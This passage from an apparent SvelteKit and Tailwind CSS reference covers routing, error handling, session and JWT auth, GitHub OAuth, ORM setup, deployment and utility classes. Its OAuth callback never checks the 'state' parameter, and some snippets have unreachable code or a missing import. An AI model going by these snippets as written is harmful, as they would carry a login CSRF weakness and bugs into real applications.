      keepFocus: true,     // Keep focus on current element
      invalidateAll: true  // Re-run all load functions
    });
  }

  // Intercept navigation
  beforeNavigate(({ from, to, cancel }) => {
    console.log('Navigating from', from, 'to', to);

    // Cancel navigation based on condition
    if (unsavedChanges) {
      if (!confirm('You have unsaved changes. Leave anyway?')) {
        cancel();
      }
    }
  });

  // Handle after navigation
  afterNavigate(({ from, to, type }) => {
    console.log('Navigation complete:', type);
    // type: 'link' | 'goto' | 'popstate'
  });
</script>

<script>
  import { preloadData, preloadCode } from '$app/navigation';

  async function prefetch() {
    // Preload data and code
    await preloadData('/blog/post-1');

    // Just preload code
    await preloadCode('/dashboard');
  }
</script>

<!-- Automatic prefetch on hover/tap -->
<a href="/blog" data-sveltekit-preload-data="hover">
  Blog
</a>

<!-- Prefetch on viewport -->
<a href="/about" data-sveltekit-preload-data="viewport">
  About
</a>

<!-- Prefetch on tap (mobile) -->
<a href="/contact" data-sveltekit-preload-data="tap">
  Contact
</a>

<!-- Disable prefetch -->
<a href="/external" data-sveltekit-reload>
  External Site
</a>

<!-- Standard navigation -->
<a href="/about">About</a>

<!-- External link (skip SvelteKit routing) -->
<a href="https://example.com" data-sveltekit-reload>
  External
</a>

<!-- Disable prefetch -->
<a href="/slow-page" data-sveltekit-preload-data="off">
  Slow Page
</a>

<!-- Programmatic prefetch -->
<a
  href="/dashboard"
  on:mouseenter={() => preloadData('/dashboard')}
>
  Dashboard
</a>

<script>
  import { page } from '$app/stores';
</script>

<div class="error">
  <h1>{$page.status}</h1>
  <p>{$page.error?.message || 'An error occurred'}</p>

  {#if $page.status === 404}
    <p>The page you're looking for doesn't exist.</p>
  {:else if $page.status === 500}
    <p>Internal server error. Please try again later.</p>
  {/if}

  <a href="/">Go home</a>
</div>

<style>
  .error {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    min-height: 100vh;
    text-align: center;
  }

  h1 {
    font-size: 4rem;
    color: #ff3e00;
  }
</style>

import { error, redirect } from '@sveltejs/kit';

export async function load({ params, locals }) {
  // 404 error
  const post = await getPost(params.id);
  if (!post) {
    throw error(404, {
      message: 'Post not found'
    });
  }

  // 403 error
  if (post.authorId !== locals.user?.id) {
    throw error(403, 'You do not have permission to view this post');
  }

  // 500 error
  try {
    const data = await fetchData();
    return { data };
  } catch (err) {
    throw error(500, 'Failed to load data');
  }

  // Redirect
  if (!locals.user) {
    throw redirect(303, '/login');
  }

  return { post };
}

// src/routes/api/posts/+server.js
import { error } from '@sveltejs/kit';

export async function GET({ params }) {
  try {
    const post = await db.getPost(params.id);

    if (!post) {
      // Expected error - shown to user
      throw error(404, 'Post not found');
    }

    return json(post);
  } catch (err) {
    // Unexpected error - logged, generic message shown
    if (err.status) {
      throw err;
    }

    console.error('Database error:', err);
    throw error(500, 'Internal server error');
  }
}

import { redirect } from '@sveltejs/kit';
import { db } from '$lib/server/database';

export async function handle({ event, resolve }) {
  // Get session from cookie
  const sessionId = event.cookies.get('session');

  if (sessionId) {
    const user = await db.getUserBySession(sessionId);
    if (user) {
      event.locals.user = user;
    } else {
      // Invalid session
      event.cookies.delete('session', { path: '/' });
    }
  }

  // Protected routes
  if (event.url.pathname.startsWith('/dashboard')) {
    if (!event.locals.user) {
      throw redirect(303, '/login');
    }
  }

  // Admin routes
  if (event.url.pathname.startsWith('/admin')) {
    if (!event.locals.user?.isAdmin) {
      throw redirect(303, '/');
    }
  }

  return resolve(event);
}

import { fail, redirect } from '@sveltejs/kit';
import { db } from '$lib/server/database';
import bcrypt from 'bcrypt';

export const actions = {
  login: async ({ request, cookies }) => {
    const data = await request.formData();
    const email = data.get('email');
    const password = data.get('password');

    // Validate
    if (!email || !password) {
      return fail(400, {
        email,
        missing: true
      });
    }

    // Get user
    const user = await db.getUserByEmail(email);
    if (!user) {
      return fail(400, {
        email,
        invalid: true
      });
    }

    // Verify password
    const valid = await bcrypt.compare(password, user.passwordHash);
    if (!valid) {
      return fail(400, {
        email,
        invalid: true
      });
    }

    // Create session
    const sessionId = crypto.randomUUID();
    await db.createSession({
      id: sessionId,
      userId: user.id,
      expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000) // 7 days
    });

    // Set cookie
    cookies.set('session', sessionId, {
      path: '/',
      httpOnly: true,
      sameSite: 'strict',
      secure: process.env.NODE_ENV === 'production',
      maxAge: 60 * 60 * 24 * 7 // 7 days
    });

    throw redirect(303, '/dashboard');
  },

  logout: async ({ cookies, locals }) => {
    const sessionId = cookies.get('session');
    if (sessionId) {
      await db.deleteSession(sessionId);
    }

    cookies.delete('session', { path: '/' });
    throw redirect(303, '/');
  }
};

import { error } from '@sveltejs/kit';
import { db } from '$lib/server/database';

const POSTS_PER_PAGE = 10;

export async function load({ url }) {
  const page = parseInt(url.searchParams.get('page') || '1');

  if (page < 1) {
    throw error(400, 'Invalid page number');
  }

  const offset = (page - 1) * POSTS_PER_PAGE;

  const [posts, totalCount] = await Promise.all([
    db.getPosts({ limit: POSTS_PER_PAGE, offset }),
    db.getPostCount()
  ]);

  const totalPages = Math.ceil(totalCount / POSTS_PER_PAGE);

  if (page > totalPages && totalPages > 0) {
    throw error(404, 'Page not found');
  }

  return {
    posts,
    pagination: {
      page,
      totalPages,
      hasNext: page < totalPages,
      hasPrev: page > 1
    }
  };
}

<script>
  export let data;
</script>

<div class="posts">
  {#each data.posts as post}
    <article>
      <h2><a href="/blog/{post.slug}">{post.title}</a></h2>
      <p>{post.excerpt}</p>
    </article>
  {/each}
</div>

<nav class="pagination">
  {#if data.pagination.hasPrev}
    <a href="?page={data.pagination.page - 1}">
      ← Previous
    </a>
  {/if}

  <span>
    Page {data.pagination.page} of {data.pagination.totalPages}
  </span>

  {#if data.pagination.hasNext}
    <a href="?page={data.pagination.page + 1}">
      Next →
    </a>
  {/if}
</nav>

<script>
  import { goto } from '$app/navigation';
  import { page } from '$app/stores';

  export let data;

  let query = $page.url.searchParams.get('q') || '';
  let timeout;

  function handleInput() {
    clearTimeout(timeout);
    timeout = setTimeout(() => {
      if (query) {
        goto(`?q=${encodeURIComponent(query)}`, {
          keepFocus: true,
          noScroll: true
        });
      }
    }, 300);
  }
</script>

<form on:submit|preventDefault>
  <input
    type="search"
    bind:value={query}
    on:input={handleInput}
    placeholder="Search..."
  />
</form>

{#if data.results}
  <div class="results">
    <p>{data.results.length} results for "{data.query}"</p>

    {#each data.results as result}
      <article>
        <h3><a href={result.url}>{result.title}</a></h3>
        <p>{result.excerpt}</p>
      </article>
    {/each}
  </div>
{/if}

export async function load({ url }) {
  const query = url.searchParams.get('q');

  if (!query) {
    return { results: null, query: '' };
  }

  const results = await searchDatabase(query);

  return {
    results,
    query
  };
}

import jwt from 'jsonwebtoken';
import bcrypt from 'bcrypt';
import { db } from './database';

const JWT_SECRET = process.env.JWT_SECRET;
const JWT_EXPIRES_IN = '7d';

export async function hashPassword(password) {
  return bcrypt.hash(password, 10);
}

export async function verifyPassword(password, hash) {
  return bcrypt.compare(password, hash);
}

export function generateToken(user) {
  return jwt.sign(
    { userId: user.id, email: user.email },
    JWT_SECRET,
    { expiresIn: JWT_EXPIRES_IN }
  );
}

export function verifyToken(token) {
  try {
    return jwt.verify(token, JWT_SECRET);
  } catch {
    return null;
  }
}

export async function getUserFromToken(token) {
  const payload = verifyToken(token);
  if (!payload) return null;

  return db.getUserById(payload.userId);
}

import { getUserFromToken } from '$lib/server/auth';

export async function handle({ event, resolve }) {
  const token = event.cookies.get('auth_token');

  if (token) {
    const user = await getUserFromToken(token);
    if (user) {
      event.locals.user = user;
    }
  }

  return resolve(event);
}

import { redirect } from '@sveltejs/kit';

const GITHUB_CLIENT_ID = process.env.GITHUB_CLIENT_ID;
const GITHUB_CLIENT_SECRET = process.env.GITHUB_CLIENT_SECRET;
const CALLBACK_URL = process.env.GITHUB_CALLBACK_URL;

export async function GET() {
  const state = crypto.randomUUID();

  const url = new URL('https://github.com/login/oauth/authorize');
  url.searchParams.set('client_id', GITHUB_CLIENT_ID);
  url.searchParams.set('redirect_uri', CALLBACK_URL);
  url.searchParams.set('state', state);
  url.searchParams.set('scope', 'user:email');

  throw redirect(302, url.toString());
}

import { error, redirect } from '@sveltejs/kit';
import { db } from '$lib/server/database';
import { generateToken } from '$lib/server/auth';

export async function GET({ url, cookies }) {
  const code = url.searchParams.get('code');
  const state = url.searchParams.get('state');

  if (!code) {
    throw error(400, 'Missing code');
  }

  // Exchange code for access token
  const tokenResponse = await fetch('https://github.com/login/oauth/access_token', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'Accept': 'application/json'
    },
    body: JSON.stringify({
      client_id: process.env.GITHUB_CLIENT_ID,
      client_secret: process.env.GITHUB_CLIENT_SECRET,
      code
    })
  });

  const { access_token } = await tokenResponse.json();

  // Get user info
  const userResponse = await fetch('https://api.github.com/user', {
    headers: {
      'Authorization': `Bearer ${access_token}`
    }
  });

  const githubUser = await userResponse.json();

  // Create or update user
  let user = await db.getUserByGithubId(githubUser.id);

  if (!user) {
    user = await db.createUser({
      githubId: githubUser.id,
      email: githubUser.email,
      name: githubUser.name,
      avatar: githubUser.avatar_url
    });
  }

  // Generate JWT
  const token = generateToken(user);

  cookies.set('auth_token', token, {
    path: '/',
    httpOnly: true,
    sameSite: 'lax',
    secure: process.env.NODE_ENV === 'production',
    maxAge: 60 * 60 * 24 * 7 // 7 days
  });

  throw redirect(303, '/dashboard');
}

npm install -D prisma
npm install @prisma/client
npx prisma init

datasource db {
  provider = "postgresql"
  url      = env("DATABASE_URL")
}

generator client {
  provider = "prisma-client-js"
}

model User {
  id        String   @id @default(cuid())
  email     String   @unique
  name      String?
  posts     Post[]
  createdAt DateTime @default(now())
  updatedAt DateTime @updatedAt
}

model Post {
  id        String   @id @default(cuid())
  title     String
  content   String
  published Boolean  @default(false)
  author    User     @relation(fields: [authorId], references: [id])
  authorId  String
  createdAt DateTime @default(now())
  updatedAt DateTime @updatedAt
}

import { PrismaClient } from '@prisma/client';

const prisma = global.prisma || new PrismaClient();

if (process.env.NODE_ENV === 'development') {
  global.prisma = prisma;
}

export { prisma };

import { prisma } from '$lib/server/database';

export async function load() {
  const posts = await prisma.post.findMany({
    where: { published: true },
    include: { author: true },
    orderBy: { createdAt: 'desc' }
  });

  return { posts };
}

export const actions = {
  create: async ({ request, locals }) => {
    const data = await request.formData();
    const title = data.get('title');
    const content = data.get('content');

    const post = await prisma.post.create({
      data: {
        title,
        content,
        authorId: locals.user.id
      }
    });

    return { success: true, post };
  }
};

import { pgTable, serial, text, timestamp, boolean } from 'drizzle-orm/pg-core';

export const users = pgTable('users', {
  id: serial('id').primaryKey(),
  email: text('email').notNull().unique(),
  name: text('name'),
  createdAt: timestamp('created_at').defaultNow()
});

export const posts = pgTable('posts', {
  id: serial('id').primaryKey(),
  title: text('title').notNull(),
  content: text('content').notNull(),
  published: boolean('published').default(false),
  authorId: serial('author_id').references(() => users.id),
  createdAt: timestamp('created_at').defaultNow()
});

import { drizzle } from 'drizzle-orm/postgres-js';
import postgres from 'postgres';
import * as schema from './schema';

const client = postgres(process.env.DATABASE_URL!);
export const db = drizzle(client, { schema });

# Automatic adapter selection
npm install -D @sveltejs/adapter-auto

# Node.js
npm install -D @sveltejs/adapter-node

# Vercel
npm install -D @sveltejs/adapter-vercel

# Netlify
npm install -D @sveltejs/adapter-netlify

# Cloudflare Pages
npm install -D @sveltejs/adapter-cloudflare

# Static site (SPA/SSG)
npm install -D @sveltejs/adapter-static

import adapter from '@sveltejs/adapter-node';

export default {
  kit: {
    adapter: adapter({
      out: 'build',
      precompress: true,
      envPrefix: 'MY_'
    })
  }
};

# Build the application
npm run build

# Preview production build
npm run preview

# Run production build (with adapter-node)
node build

# Private (server-only)
DATABASE_URL="postgresql://..."
JWT_SECRET="secret"
API_KEY="key"

# Public (exposed to client)
PUBLIC_API_URL="https://api.example.com"
PUBLIC_SITE_NAME="My SvelteKit App"

// src/routes/+page.server.js
import { env } from '$env/dynamic/private';
// or
import { DATABASE_URL } from '$env/static/private';

export async function load() {
  const apiKey = env.API_KEY; // or API_KEY from static import
  // ...
}

<!-- src/routes/+page.svelte -->
<script>
  import { env } from '$env/dynamic/public';
  // or
  import { PUBLIC_API_URL } from '$env/static/public';

  const apiUrl = env.PUBLIC_API_URL; // or PUBLIC_API_URL from static import
</script>

FROM node:18-alpine AS builder

WORKDIR /app

COPY package*.json ./
RUN npm ci

COPY . .
RUN npm run build
RUN npm prune --production

FROM node:18-alpine

WORKDIR /app

COPY --from=builder /app/build build/
COPY --from=builder /app/node_modules node_modules/
COPY package.json .

EXPOSE 3000
ENV NODE_ENV=production

CMD ["node", "build"]

version: '3.8'

services:
  app:
    build: .
    ports:
      - "3000:3000"
    environment:
      - DATABASE_URL=postgresql://user:pass@db:5432/mydb
      - JWT_SECRET=${JWT_SECRET}
    depends_on:
      - db

  db:
    image: postgres:15
    environment:
      - POSTGRES_USER=user
      - POSTGRES_PASSWORD=pass
      - POSTGRES_DB=mydb
    volumes:
      - postgres_data:/var/lib/postgresql/data

volumes:
  postgres_data:

# Install Vercel CLI
npm i -g vercel

# Deploy
vercel

# Production deployment
vercel --prod

{
  "buildCommand": "npm run build",
  "devCommand": "npm run dev",
  "framework": "sveltekit",
  "installCommand": "npm install"
}

<script>
  // Dynamic imports for code splitting
  let HeavyComponent;

  async function loadComponent() {
    const module = await import('$lib/components/HeavyComponent.svelte');
    HeavyComponent = module.default;
  }
</script>

<button on:click={loadComponent}>
  Load Heavy Component
</button>

{#if HeavyComponent}
  <svelte:component this={HeavyComponent} />
{/if}

<script>
  import { preloadData } from '$app/navigation';

  function handleMouseEnter() {
    preloadData('/dashboard');
  }
</script>

<a
  href="/dashboard"
  on:mouseenter={handleMouseEnter}
>
  Dashboard
</a>

<!-- Or use data attributes -->
<a href="/blog" data-sveltekit-preload-data="hover">
  Blog
</a>

<picture>
  <source
    srcset="/images/hero.webp"
    type="image/webp"
  />
  <source
    srcset="/images/hero.jpg"
    type="image/jpeg"
  />
  <img
    src="/images/hero.jpg"
    alt="Hero image"
    loading="lazy"
    width="1200"
    height="600"
  />
</picture>

<img
  srcset="
    /images/small.jpg 400w,
    /images/medium.jpg 800w,
    /images/large.jpg 1200w
  "
  sizes="(max-width: 600px) 400px, (max-width: 1200px) 800px, 1200px"
  src="/images/medium.jpg"
  alt="Responsive image"
  loading="lazy"
/>

export async function handle({ event, resolve }) {
  const response = await resolve(event);

  // Cache static assets
  if (event.url.pathname.startsWith('/images/')) {
    response.headers.set('Cache-Control', 'public, max-age=31536000, immutable');
  }

  // Cache API responses
  if (event.url.pathname.startsWith('/api/')) {
    response.headers.set('Cache-Control', 'public, max-age=60');
  }

  return response;
}

import { sveltekit } from '@sveltejs/kit/vite';
import { defineConfig } from 'vitest/config';

export default defineConfig({
  plugins: [sveltekit()],
  test: {
    include: ['src/**/*.{test,spec}.{js,ts}'],
    environment: 'jsdom'
  }
});

import { describe, it, expect } from 'vitest';
import { formatCurrency, formatDate } from './format';

describe('formatCurrency', () => {
  it('formats USD correctly', () => {
    expect(formatCurrency(1234.56, 'USD')).toBe('$1,234.56');
  });

  it('handles zero', () => {
    expect(formatCurrency(0, 'USD')).toBe('$0.00');
  });
});

describe('formatDate', () => {
  it('formats date correctly', () => {
    const date = new Date('2024-01-15');
    expect(formatDate(date)).toBe('Jan 15, 2024');
  });
});

import { render, screen, fireEvent } from '@testing-library/svelte';
import { describe, it, expect } from 'vitest';
import Button from './Button.svelte';

describe('Button', () => {
  it('renders with text', () => {
    render(Button, { props: { text: 'Click me' } });
    expect(screen.getByText('Click me')).toBeTruthy();
  });

  it('calls onClick when clicked', async () => {
    let clicked = false;
    render(Button, {
      props: {
        text: 'Click',
        onClick: () => { clicked = true; }
      }
    });

    const button = screen.getByText('Click');
    await fireEvent.click(button);

    expect(clicked).toBe(true);
  });
});

import { expect, test } from '@playwright/test';

test('home page loads', async ({ page }) => {
  await page.goto('/');
  await expect(page.locator('h1')).toContainText('Welcome');
});

test('navigation works', async ({ page }) => {
  await page.goto('/');
  await page.click('a[href="/about"]');
  await expect(page).toHaveURL('/about');
  await expect(page.locator('h1')).toContainText('About');
});

test('form submission', async ({ page }) => {
  await page.goto('/contact');

  await page.fill('input[name="name"]', 'John Doe');
  await page.fill('input[name="email"]', 'john@example.com');
  await page.fill('textarea[name="message"]', 'Hello!');

  await page.click('button[type="submit"]');

  await expect(page.locator('.success')).toContainText('Message sent');
});

// ✅ Good - server-only
// src/routes/dashboard/+page.server.js
export async function load({ locals }) {
  const user = await db.getUser(locals.userId);
  return { user };
}

// ❌ Bad - exposes API keys
// src/routes/dashboard/+page.js
export async function load() {
  const data = await fetch('https://api.example.com', {
    headers: { 'API-Key': process.env.API_KEY } // Exposed to client!
  });
  return { data };
}

<!-- Form works without JavaScript -->
<form method="POST" action="?/create" use:enhance>
  <input name="title" required />
  <button type="submit">Create</button>
</form>

// ✅ Good - parallel loading
export async function load({ fetch }) {
  const [posts, categories, tags] = await Promise.all([
    fetch('/api/posts').then(r => r.json()),
    fetch('/api/categories').then(r => r.json()),
    fetch('/api/tags').then(r => r.json())
  ]);

  return { posts, categories, tags };
}

// ❌ Bad - sequential loading
export async function load({ fetch }) {
  const posts = await fetch('/api/posts').then(r => r.json());
  const categories = await fetch('/api/categories').then(r => r.json());
  const tags = await fetch('/api/tags').then(r => r.json());

  return { posts, categories, tags };
}

routes/
├── +layout.svelte              # Root layout (navbar, footer)
├── (app)/
│   ├── +layout.svelte         # App layout (sidebar)
│   ├── dashboard/
│   │   └── +page.svelte
│   └── settings/
│       └── +page.svelte
└── (marketing)/
    ├── +layout.svelte         # Marketing layout (different header)
    ├── about/
    │   └── +page.svelte
    └── pricing/
        └── +page.svelte

import { error } from '@sveltejs/kit';

export async function load({ params }) {
  try {
    const data = await fetchData(params.id);

    if (!data) {
      throw error(404, {
        message: 'Not found',
        hint: 'Check the URL and try again'
      });
    }

    return { data };
  } catch (err) {
    if (err.status) throw err;

    console.error('Unexpected error:', err);
    throw error(500, 'Something went wrong');
  }
}

import { fail } from '@sveltejs/kit';
import { z } from 'zod';

const schema = z.object({
  email: z.string().email(),
  password: z.string().min(8),
  age: z.number().min(18)
});

export const actions = {
  default: async ({ request }) => {
    const data = await request.formData();
    const values = {
      email: data.get('email'),
      password: data.get('password'),
      age: parseInt(data.get('age'))
    };

    const result = schema.safeParse(values);

    if (!result.success) {
      return fail(400, {
        errors: result.error.flatten().fieldErrors,
        values
      });
    }

    // Process valid data
    await createUser(result.data);

    return { success: true };
  }
};

cookies.set('session', sessionId, {
  path: '/',
  httpOnly: true,        // Prevent JS access
  sameSite: 'strict',    // CSRF protection
  secure: true,          // HTTPS only
  maxAge: 60 * 60 * 24 * 7  // 7 days
});

// src/routes/blog/[slug]/+page.ts
import type { PageLoad } from './$types';

export const load: PageLoad = async ({ params, fetch }) => {
  const post = await fetch(`/api/posts/${params.slug}`).then(r => r.json());

  return {
    post
  };
};

<div class="chat-notification">
  <div class="chat-notification-logo-wrapper">
    <img class="chat-notification-logo" src="logo.svg" alt="Logo">
  </div>
  <div class="chat-notification-content">
    <h4 class="chat-notification-title">New message</h4>
    <p class="chat-notification-message">You have a new message!</p>
  </div>
</div>

<div class="flex items-center p-6 max-w-sm mx-auto bg-white rounded-xl shadow-lg">
  <div class="shrink-0">
    <img class="h-12 w-12" src="logo.svg" alt="Logo">
  </div>
  <div class="ml-4">
    <h4 class="text-xl font-medium text-black">New message</h4>
    <p class="text-gray-500">You have a new message!</p>
  </div>
</div>

# Install Tailwind CSS
npm install -D tailwindcss postcss autoprefixer

# Initialize configuration
npx tailwindcss init

# Create both tailwind.config.js and postcss.config.js
npx tailwindcss init -p

/** @type {import('tailwindcss').Config} */
module.exports = {
  content: [
    "./index.html",
    "./src/**/*.{js,ts,jsx,tsx}",
  ],
  theme: {
    extend: {},
  },
  plugins: [],
}

@tailwind base;
@tailwind components;
@tailwind utilities;

// main.js or App.jsx
import './index.css'

# Next.js (automatic with create-next-app)
npx create-next-app@latest my-project --tailwind

# Manual setup for existing React project
npm install -D tailwindcss postcss autoprefixer
npx tailwindcss init -p

// tailwind.config.js
module.exports = {
  content: [
    './pages/**/*.{js,ts,jsx,tsx,mdx}',
    './components/**/*.{js,ts,jsx,tsx,mdx}',
    './app/**/*.{js,ts,jsx,tsx,mdx}',
  ],
  theme: {
    extend: {},
  },
  plugins: [],
}

# Nuxt 3
npm install -D @nuxtjs/tailwindcss

export default defineNuxtConfig({
  modules: ['@nuxtjs/tailwindcss']
})

npx svelte-add@latest tailwindcss
npm install

npm install -D tailwindcss postcss autoprefixer
npx tailwindcss init -p

import { defineConfig } from 'vite'
export default defineConfig({
  css: {
    postcss: './postcss.config.js',
  },
})

<!DOCTYPE html>
<html>
<head>
  <!-- Include via CDN (no build step, but no customization) -->
  <script src="https://cdn.tailwindcss.com"></script>

  <!-- Optional: Configure via script tag -->
  <script>
    tailwind.config = {
      theme: {
        extend: {
          colors: {
            brand: '#3b82f6',
          }
        }
      }
    }
  </script>
</head>
<body>
  <h1 class="text-3xl font-bold text-brand">
    Hello Tailwind!
  </h1>
</body>
</html>

# Install
npm install -D tailwindcss

# Initialize
npx tailwindcss init

# Build CSS
npx tailwindcss -i ./src/input.css -o ./dist/output.css --watch

# Production build
npx tailwindcss -i ./src/input.css -o ./dist/output.css --minify

/** @type {import('tailwindcss').Config} */
module.exports = {
  // Files to scan for class names
  content: [
    "./index.html",
    "./src/**/*.{js,jsx,ts,tsx,vue,svelte}",
  ],

  // Dark mode configuration
  darkMode: 'class', // or 'media'

  // Theme customization
  theme: {
    // Replace default theme
    screens: {
      sm: '640px',
      md: '768px',
      lg: '1024px',
      xl: '1280px',
      '2xl': '1536px',
    },

    // Extend default theme (recommended)
    extend: {
      colors: {
        brand: {
          50: '#eff6ff',
          100: '#dbeafe',
          200: '#bfdbfe',
          300: '#93c5fd',
          400: '#60a5fa',
          500: '#3b82f6',
          600: '#2563eb',
          700: '#1d4ed8',
          800: '#1e40af',
          900: '#1e3a8a',
        },
      },
      spacing: {
        '128': '32rem',
        '144': '36rem',
      },
      borderRadius: {
        '4xl': '2rem',
      },
      fontFamily: {
        sans: ['Inter', 'sans-serif'],
        display: ['Lexend', 'sans-serif'],
      },
    },
  },

  // Plugins
  plugins: [],
}

module.exports = {
  content: [
    // HTML files
    './public/**/*.html',

    // JavaScript/TypeScript
    './src/**/*.{js,jsx,ts,tsx}',

    // Vue components
    './src/**/*.vue',

    // Svelte components
    './src/**/*.svelte',

    // PHP files (for WordPress, Laravel, etc.)
    './templates/**/*.php',

    // Use safelist for dynamic classes
  ],

  // Safelist classes that might be generated dynamically
  safelist: [
    'bg-red-500',
    'bg-green-500',
    'bg-blue-500',
    // Or use patterns
    {
      pattern: /bg-(red|green|blue)-(100|500|900)/,
    },
  ],
}

module.exports = {
  theme: {
    // Extend default theme (adds to existing)
    extend: {
      // Custom colors
      colors: {
        primary: '#3b82f6',
        secondary: '#8b5cf6',
        danger: '#ef4444',
      },

      // Custom spacing values
      spacing: {
        '128': '32rem',
        '144': '36rem',
      },

      // Custom font sizes
      fontSize: {
        'xxs': '0.625rem',
      },

      // Custom breakpoints
      screens: {
        '3xl': '1920px',
      },

      // Custom z-index values
      zIndex: {
        '100': '100',
      },

      // Custom animations
      animation: {
        'spin-slow': 'spin 3s linear infinite',
      },

      // Custom keyframes
      keyframes: {
        wiggle: {
          '0%, 100%': { transform: 'rotate(-3deg)' },
          '50%': { transform: 'rotate(3deg)' },
        }
      }
    },

    // Replace default theme (use sparingly)
    // screens: { ... } // This replaces all default breakpoints
  },
}

// tailwind.config.js
module.exports = {
  theme: {
    extend: {
      colors: {
        primary: 'var(--color-primary)',
        secondary: 'var(--color-secondary)',
      },
    },
  },
}

/* In your CSS */
:root {
  --color-primary: 59 130 246; /* RGB values */
  --color-secondary: 139 92 246;
}

.dark {
  --color-primary: 96 165 250;
  --color-secondary: 167 139 250;
}

<!-- Use with opacity modifiers -->
<div class="bg-primary/50">Semi-transparent background</div>

<!-- ❌ Traditional approach -->
<div class="card">
  <h2 class="card-title">Title</h2>
  <p class="card-body">Content</p>
</div>

<!-- ✅ Tailwind approach -->
<div class="bg-white rounded-lg shadow-md p-6">
  <h2 class="text-xl font-bold mb-2">Title</h2>
  <p class="text-gray-700">Content</p>
</div>

<!-- Mobile: full width, Desktop: half width -->
<div class="w-full md:w-1/2">
  Responsive element
</div>

<!-- Mobile: column, Tablet+: row -->
<div class="flex flex-col md:flex-row">
  <div>Item 1</div>
  <div>Item 2</div>
</div>

<!-- Hover state -->
<button class="bg-blue-500 hover:bg-blue-700">
  Hover me
</button>

<!-- Focus state -->
<input class="border focus:border-blue-500 focus:ring-2 focus:ring-blue-200">

<!-- Multiple states -->
<button class="bg-blue-500 hover:bg-blue-600 active:bg-blue-700 disabled:bg-gray-300">
  Button
</button>

<!-- Spacing scale: 0, 1, 2, 3, 4, 5, 6, 8, 10, 12, 16, 20, 24, 32, 40, 48, 56, 64... -->
<div class="p-4">  <!-- padding: 1rem -->
<div class="p-8">  <!-- padding: 2rem -->
<div class="p-16"> <!-- padding: 4rem -->

<!-- Color scale: 50, 100, 200, 300, 400, 500, 600, 700, 800, 900 -->
<div class="bg-blue-100">  <!-- Light blue -->
<div class="bg-blue-500">  <!-- Medium blue -->
<div class="bg-blue-900">  <!-- Dark blue -->

<!-- Arbitrary values with [value] syntax -->
<div class="w-[347px]">Exact width</div>
<div class="bg-[#1da1f2]">Twitter blue</div>
<div class="text-[2.35rem]">Custom font size</div>

<!-- Centered container with max-width -->
<div class="container mx-auto px-4">
  Content
</div>

<!-- Responsive max-widths by default:
     sm: 640px
     md: 768px
     lg: 1024px
     xl: 1280px
     2xl: 1536px
-->

<!-- Block, inline, inline-block -->
<div class="block">Block</div>
<div class="inline">Inline</div>
<div class="inline-block">Inline-block</div>

<!-- Flex and Grid -->
<div class="flex">Flexbox container</div>
<div class="inline-flex">Inline flex container</div>
<div class="grid">Grid container</div>
<div class="inline-grid">Inline grid container</div>

<!-- Hidden -->
<div class="hidden">Not displayed</div>
<div class="md:block">Hidden on mobile, shown on tablet+</div>

<!-- Flex direction -->
<div class="flex flex-row">Horizontal (default)</div>
<div class="flex flex-col">Vertical</div>
<div class="flex flex-row-reverse">Reversed horizontal</div>

<!-- Justify content (main axis) -->
<div class="flex justify-start">Start</div>
<div class="flex justify-center">Center</div>
<div class="flex justify-between">Space between</div>
<div class="flex justify-around">Space around</div>
<div class="flex justify-evenly">Space evenly</div>

<!-- Align items (cross axis) -->
<div class="flex items-start">Start</div>
<div class="flex items-center">Center</div>
<div class="flex items-end">End</div>
<div class="flex items-stretch">Stretch (default)</div>

<!-- Flex wrap -->
<div class="flex flex-wrap">Wrap</div>
<div class="flex flex-nowrap">No wrap (default)</div>

<!-- Flex grow/shrink -->
<div class="flex-1">Grow and shrink</div>
<div class="flex-auto">Auto sizing</div>
<div class="flex-none">Don't grow or shrink</div>
<div class="grow">Only grow</div>
<div class="shrink-0">Don't shrink</div>

<!-- Gap -->
<div class="flex gap-4">Gap between items</div>
<div class="flex gap-x-4 gap-y-2">Different x and y gaps</div>

<!-- Grid columns -->
<div class="grid grid-cols-3 gap-4">
  <div>1</div>
  <div>2</div>
  <div>3</div>
</div>

<!-- Grid cols with different sizes -->
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4">
  Responsive grid
</div>

<!-- Column span -->
<div class="grid grid-cols-3">
  <div class="col-span-2">Spans 2 columns</div>
  <div>1 column</div>
</div>

<!-- Auto-fit columns -->
<div class="grid grid-cols-[repeat(auto-fit,minmax(200px,1fr))] gap-4">
  Auto-sizing grid
</div>

<!-- Grid rows -->
<div class="grid grid-rows-3 gap-4 h-64">
  <div>Row 1</div>
  <div>Row 2</div>
  <div>Row 3</div>
</div>

<!-- Grid template areas (arbitrary value) -->
<div class="grid grid-rows-[auto_1fr_auto]">
  <header>Header</header>
  <main>Content</main>
  <footer>Footer</footer>
</div>

<!-- Position types -->
<div class="static">Default</div>
<div class="relative">Relative</div>
<div class="absolute">Absolute</div>
<div class="fixed">Fixed</div>
<div class="sticky">Sticky</div>

<!-- Positioning with inset -->
<div class="absolute top-0 left-0">Top-left</div>
<div class="absolute top-0 right-0">Top-right</div>
<div class="absolute bottom-0 left-0">Bottom-left</div>
<div class="absolute inset-0">All sides 0</div>
<div class="absolute inset-x-0">Left and right 0</div>
<div class="absolute inset-y-0">Top and bottom 0</div>

<!-- Sticky header -->
<header class="sticky top-0 bg-white z-10">
  Sticky navigation
</header>

<div class="float-left">Float left</div>
<div class="float-right">Float right</div>
<div class="clear-both">Clear floats</div>

<!-- All sides -->
<div class="p-4">Padding 1rem (16px)</div>
<div class="p-0">No padding</div>
<div class="p-px">1px padding</div>

<!-- Horizontal/Vertical -->
<div class="px-4">Horizontal padding</div>
<div class="py-2">Vertical padding</div>

<!-- Individual sides -->
<div class="pt-4">Padding top</div>
<div class="pr-4">Padding right</div>
<div class="pb-4">Padding bottom</div>
<div class="pl-4">Padding left</div>

<!-- Spacing scale: 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14, 16, 20, 24, 28, 32, 36, 40, 44, 48, 52, 56, 60, 64, 72, 80, 96 */

<!-- All sides -->
<div class="m-4">Margin 1rem</div>
<div class="m-auto">Auto margin (for centering)</div>
<div class="-m-4">Negative margin</div>

<!-- Horizontal/Vertical -->
<div class="mx-auto">Center horizontally</div>
<div class="my-4">Vertical margin</div>

<!-- Individual sides -->
<div class="mt-4">Margin top</div>
<div class="mr-4">Margin right</div>
<div class="mb-4">Margin bottom</div>
